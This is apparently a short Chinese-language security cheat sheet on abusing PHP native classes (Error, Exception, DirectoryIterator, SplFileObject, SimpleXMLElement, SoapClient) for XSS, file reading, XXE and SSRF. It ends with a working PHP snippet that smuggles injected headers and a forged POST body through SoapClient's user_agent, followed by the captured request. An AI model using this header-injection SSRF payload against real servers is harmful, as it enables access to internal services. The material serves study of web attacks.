Error类
PHP>7.0,因为存在__toString,可以进行XSS
Exception类
因为存在__toString,可以进行XSS
DirectoryIterator类
因为存在__toString,可以获取符合要求的第一个文件名
SplFileObject类
因为存在__toString,可以读取文件内容
SimpleXMLElement
可以造成 xxe
xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)
SoapClient类
因为存在__call,可以进行SSRF
phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启
<?php
// ua是为了覆盖请求头并让请求包后面的其他内容无效
$ua = "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";
$soap = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1/ssrf.php', 'user_agent'=>$ua));
$soap->function();
可以通过 NC 看构造的请求包
POST /ssrf.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
User-Agent: ua
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
ssrf=1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#function"
Content-Length: 394
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>